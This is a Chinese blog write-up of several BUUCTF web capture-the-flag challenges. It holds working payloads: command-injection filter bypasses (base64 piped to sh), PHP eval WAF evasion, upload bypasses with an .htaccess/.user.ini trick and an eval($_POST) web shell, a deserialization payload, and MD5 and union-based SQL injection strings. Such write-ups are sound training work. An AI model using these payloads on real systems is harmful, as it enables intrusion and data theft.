buuctf(探险1)

目录

[GXYCTF2019]Ping Ping Ping

命令执行过滤空格flag,拼接绕过

 [RoarCTF 2019]Easy Calc

waf前端检测,命令执行绕过

原理:利用scandir()列出目录和文件,var_dump()用于输出

原理:利用file_get_contents()读取并输出文件内容

[HCTF 2018]admin

 nodeprep.prepare方法漏洞

 [BJDCTF2020]Easy MD5

[ZJCTF 2019]NiZhuanSiWei

[MRCTF2020]你传你🐎呢

文件上传的题目

[SUCTF 2019]CheckIn 

文件上传

[MRCTF2020]Ez_bypass

md5一些简单函数

[网鼎杯 2020 青龙组]AreUSerialz

反序列化pop链

protected分析:

 private分析:

[GXYCTF2019]BabySQli 

sql注入



[GXYCTF2019]Ping Ping Ping

命令执行过滤空格flag,拼接绕过

打开界面发现就一个

/?ip=源码一样,然后get传参本地地址 127.0.0.1试一下

那这道题考察:命令执行、管道符的应用

提示过滤掉了空格,用%09绕过一下 

提示:/?ip= 1fxck your symbol!应该是过滤掉了%

用一下${IFS}        {应该被过滤了,用$IFS$1绕过,看一下源码

发现flag被过滤掉了,? *通配符都没了,那试一下拼接把

本来构造是?ip=127.0.0.1;a=fl;b=ag;cat$IFS$1$a$b.php,可是没绕过去

 查看资料后有解释说这串代码意为 匹配一个字符串中,是否按顺序出现过flag四个字母(还是不太理解为什么用字符串拼接的方法会被过滤)

所以把flag逆反一下

?ip=127.0.0.1;a=ag;b=fl;cat$IFS$9$b$a.php  变量之间用分号不可用&

?ip=127.0.0.1;a=ag&b=fl;cat$IFS$1$b$a.php 错误

f12查看源码看见

 或者

/?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

Y2F0IGZsYWcucGhw是cat flag.php的base64编码

 [RoarCTF 2019]Easy Calc

waf前端检测,命令执行绕过

 打开界面没感觉有啥,看一下源码

<!--I've set up WAF to ensure security.-->绿色显示,肯定有用

大概意思就是我有一个waf过滤来确保安全,说明有过滤, 

cale.php访问一下

<?php
error_reporting(0);
if(!isset($_GET['num'])){
    show_source(__FILE__);
}else{
        $str = $_GET['num'];
        $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
        foreach ($blacklist as $blackitem) {
                if (preg_match('/' . $blackitem . '/m', $str)) {
                        die("what are you want to do?");
                }
        }
        eval('echo '.$str.';');
}
?>

 随便输入一个字母

 推测waf应该就是不让输出字母,php有一个特性

? num和?num两个的num变量不一样,但url后都会忽略空格

以及特殊符号 都会变为下划线

waf里的是num而不是 空格num

原理:利用scandir()列出目录和文件,var_dump()用于输出

scandir()函数返回指定目录中的文件和目录的数组。
scandir(/)相当于ls /
var_dump()相当于echo

原理:利用file_get_contents()读取并输出文件内容

例如 file_get_contents(/flag.php),读取/flag.php的代码

?%20num=var_dump(scandir(chr(47)))  chr(47)  / 因为上面/被过滤掉了用chr代替

?%20num=file_get_contents(chr(47).f1agg)   或者

num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))==>>file_get_contents(/f1agg)相当于? num=system(cat /f1agg)

[HCTF 2018]admin

 nodeprep.prepare方法漏洞

打开界面,源码显示需要账户是admin,然后看见下面注册试一下

先注册一下

那这道题,思想就是绕过 admin,但最后又可以用admin登录

先随便注册一个账号,然后查看源码,

  • 在change页面的源代码中发现了网站的源代码地址如下

 访问网站下载zip,打开routes.py

发现注册和登录以及修改密码处只是对数据进行了小写化,而且奇怪的是小写化函数用的不是python自带的,而是自己封装的,直觉告诉我这里存在问题。
于是看一下这个函数是如何封装的 如下

from twisted.words.protocols.jabber.xmpp_stringprep import nodeprep
## 包引入头

 nodeprep.prepare这个方法是将大写字母转换成小写字母,但是它存在一个问题:
它会将unicode编码的ᴬ转化成A

unicode参考表:https://unicode-table.com/en/search/?q=Modifier+Letter+Capital

所以只要我们用 ᴬdmin进行注册,前端虽然是,但是后端就变成了admin所以我们就能绕过去,然后修改密码通过!

 [BJDCTF2020]Easy MD5

打开界面没啥用,看下源码没啥关键的,考察md5,然后再网络包发现一条select语句 

 md5(string,raw)

string    必需。要计算的字符串。

raw     可选。默认不写为FALSE。32位16进制的字符串
        TRUE。16位原始二进制格式的字符串
        进行post传参

让我想到了md5中的,

ffifdyop,这个点的原理是 ffifdyop 这个字符串被 md5 哈希了之后会变成 276f722736c95d99e921722cf9ed621c,这个字符串前几位刚好是 ‘ or ‘6,
而 Mysql 刚好又会把 hex 转成 ascii 解释,因此拼接之后的形式是select * from ‘admin’ where password=’’ or ‘6xxxxx’

等价于 or 一个永真式,因此相当于万能密码,可以绕过md5()函数

输入后,获得源码

<!--
$a = $GET['a'];
$b = $_GET['b'];

if($a != $b && md5($a) == md5($b)){
    // wow, glzjin wants a girl friend.
-->

get传参,数组绕过,?a[]=3&b[]=4

<?php
error_reporting(0);
include "flag.php";

highlight_file(__FILE__);

if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
    echo $flag;
}

param1[]=3&param2[]=4继续数组绕过,只不过是post传参罢了

[ZJCTF 2019]NiZhuanSiWei

<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?>

 开始审计代码,get传参,然后text里面肯定是welcome to the zjctf

file里面肯定是useless.php,看见下面有反序列化,所以我觉得这应该是用文件包含然后出源码的擦做,然后password里存的是序列化指向一个获得flag的。

话不多说开整,

file_get_contents($text,'r')==="welcome to the zjctf"

函数作用:吧text文件中的内容,给了r当作字符串处理

所以我们需要自己构建一个文件,然后用伪协议file读取

?text=file://e:\123.txt发现不行,那用一下data

?text=data://text/plain,welcome to the zjctf //不需要加引号

 

绕过去了第一个。然后伪协议读取useless.php

php://filter/read=convert.base64-encode/resource=useless.php 

 开心,竟然不是pop链构造那种长度,

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

肯定是this->file出东西

 提示我获得了flag,找一找

 找到了,但是还有一个小疑问,怎么调用的——tostring呢,源码看一下

捂了捂了,原来是源码echo调用,如果没有echo也应该有一个突出的类的或者里面有wakeup或者destrust魔术方法,前往下一探险 

[MRCTF2020]你传你🐎呢

文件上传的题目

1、前端绕过,抓包修改后缀名,

2、文件内容绕过,用图片马,抓包修改后缀绕过

3、黑名单绕过,那么我们可以改成phtml抓包绕过

4、.htaccess绕过,只要有这个配置文件,并且内容为“AddType application/x-httpd-php .jpg(就是把所以jpg后缀的文件全都当作php文件来执行)”

5、大小写绕过,抓包后修改后缀为.PHp

7、空格绕过,抓包修改后缀,在后缀后面加上空格

8、点绕过,抓包修改后缀,在后缀后面加上点(删掉空格还可以. .或者 . )

9、文件流绕过,前提条件,必须是window的服务器,抓包修改后缀,并在后缀后面加上::$DATA,

10、双拼绕过,抓包修改后缀,并在把后缀改成pphphp,这样后端去掉php,还剩下个p和hp组合在一起,又是php

11、.user.ini配置文件绕过

大概就是这几种,然后看一下这道题

后缀试了一下,php.php3,php5,phtml过滤的挺多的,然后想想能不能用.htacess

把content-Type改为:image/jpeg试一下

上传成功,.htaccess的作用主要就是把里面2.jpg用php的形式解析

然后就需要上传 2.jpg命名的图片码了,

 http://13e5176a-797f-4a6c-b2da-24b94b8f1390.node4.buuoj.cn:81/upload/08c57e4475e1d1a8bd0961e50134b964/2.jpg

蚁建链接,获得flag“

[SUCTF 2019]CheckIn 

文件上传

首先传一个,.php文件的发现回显illegal suffix!

然后试一下图片码,

 发现过滤了<?还好学过,然后用下面绕过

<script language='php'>eval($_POST['shell']);</script>

 

 发现不是image类型,应该是有了文件头校验

然后加上GIF89a

上传成功,然后就需要上传一个配置文件,来进行php解析

通过谷歌的插件,发现该站点使用的是nginx

所以使用.htaccess绕过行不通,因为它是Apache的配置文件

这里我们采用.user.ini来绕过--》

 先上传,.user.ini,

auto_prepend_file=1.gif

然后上传  1.gif  木马文件

 蚁建链接就行, 这里注意一个点

index.php放最后面http://52758cbb-2d8e-4014-ad0e-0c80cb50c926.node4.buuoj.cn:81/uploads/c47b21fcf8f0bc8b3920541abd8024fd/index.php

 然后获得flag,

[MRCTF2020]Ez_bypass

md5一些简单函数

I put something in F12 for you include 'flag.php'; $flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}'; 
if(isset($_GET['gg'])&&isset($_GET['id'])) 
        { $id=$_GET['id']; 
$gg=$_GET['gg']; 
if (md5($id) === md5($gg) && $id !== $gg) 
  { echo 'You got the first step'; 
    if(isset($_POST['passwd'])) 
          { $passwd=$_POST['passwd'];
              if (!is_numeric($passwd)) 
                    { if($passwd==1234567)
                         { echo 'Good Job!'; 
                           highlight_file('flag.php'); 
                          die('By Retr_0'); } 
else { echo "can you think twice??"; } }
 else{ echo 'You can not get it !'; } } 
else{ die('only one way to get the flag'); } }
 else { echo "You are not a real hacker!"; } } 
else{ die('Please input first'); } }
Please input first

打开以后源码,自己整理一下,捋一下思路

get 传参 id gg  ,数组绕过应该就可以

post 传参 passwd 1234567a弱比较绕过

然后高亮显示,flag.php

说明get传参的部分成功绕了过去,接下来就是post了

这就成功了,提交flag对了,竟然没有坑,开心呀!

[网鼎杯 2020 青龙组]AreUSerialz

反序列化pop链

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

乍一看,就construct  和 destruct 两个魔术方法

is_valid想要实现的是,ascll在 32-125之间

可是这里的属性都是protected构成的,需要加 \00*\00保护起来,所以我们就需要绕过

protected分析:

举例:本来sex结果上面出现的是*sex,但是*sex的长度是4,

但是上面显示的是6,

发现protect属性序列化的时候格式是%00*%00sex(成员名)

 private分析:

比如 testage长度是7,

但是上面显示的是9,

private属性序列化格式 %00类名%00成员名

%00占一个字节长度,所以age加了类名后变成了%00test%00age长度为9

 绕过方法:在php7.1以上的版本对属性类型不敏感,所以可以将属性改为public,public属性序列化没有不可见字符

7.1以下:private属性序列化的时候会引入两个\x00,注意这两个\x00就是ascii码为0的字符。这个字符显示和输出可能看不到,甚至导致截断,但是url编码后就可以看得很清楚了。同理,protected属性会引入\x00*\x00。此时,为了更加方便进行反序列化Payload的传输与显示,我们可以在序列化内容中用大写S表示字符串,此时这个字符串就支持将后面的字符串用16进制表示。
 

O:11:"FileHandler":3:{S:5:"\00*\00op";i:2;S:11:"\00*\00filename";S:8:"flag.php";S:10:"\00*\00content";S:7:"oavinci";}

 private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }应该是read()函数这是链尾执行实现flag的方法

所以我们的目标改为是谁调用了read

 public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {       只需要让op=2就可以调用read
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

然后我们的目标就是如何让op=2,注意两个等号这是弱比较,接下来会用到

function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }  这是三个等号,强比较,会核对值是否相当,以及类型是否一样,我们可以让2为数值型就都可以实现

正好,这是开头,构造结束。

<?php
class FileHandler {

    public $op=2;
    public $filename="flag.php";   题目给的flag位置
    public $content=df;  }    随便写的
$a=new FileHandler();
echo serialize($a);

因为这种方式都被注释掉了,所以需要在源码中寻找flag,

或者改为filter伪协议读取,会显示base64编码

[GXYCTF2019]BabySQli 

sql注入

先找注入点,只有单引号回显

确定是单引号,试一下万能密码 

<!--MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5-->

发现源码有一串字母,没看出来是什么编码,暂时略过

do not hack me!     ' or true#  回显别欺骗我  应该是里面有字符被过滤了,419都是被过滤的or被过滤,试了一下大写可以成功绕过,union 没有被过滤试一下联合注入

没思路,突破点肯定是那一串乱码

试一下base64没出来,base32试一下

c2VsZWN0ICogZnJvbSB1c2VyIHdoZXJlIHVzZXJuYW1lID0gJyRuYW1lJw==

这一看就需要base64出来了,是一条select语句

select * from user where username = '$name'

联合注入:先看一下有几列,最后测试出来

 

如上测到第四个字段报错,证明只有3个字段数,但没有回显字段名,来到本题考点:猜测三个字段是啥,一般是id、username、password,尝试;

用户名admin尝试成功,

来到本题考点的另一个:mysql在查询不存在的数据时会自动构建虚拟数据,一般数据要么明文,要么MD5;这道题显示不是明文,那就是md5加密了,把密码加密

202CB962AC59075B964B07152D234B70  md5 32位编码

' union select 1,'admin','202CB962AC59075B964B07152D234B70'#

试了很多,发现都不对,然后把大写字母换成小写就出来了答案 

 

if(preg_match("/\(|\)|\=|or/", $name)){
	die("do not hack me!");
}
else{
	if (!$result) {
		printf("Error: %s\n", mysqli_error($con));
		exit();
	}
	else{
		// echo '<pre>';
		$arr = mysqli_fetch_row($result);
		// print_r($arr);
		if($arr[1] == "admin"){
			if(md5($password) == $arr[2]){
				echo $flag;
			}
			else{
				die("wrong pass!");
			}
		}
		else{
			die("wrong user!");
		}
	}
}

看源码就知道了原因,md5加密需要

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值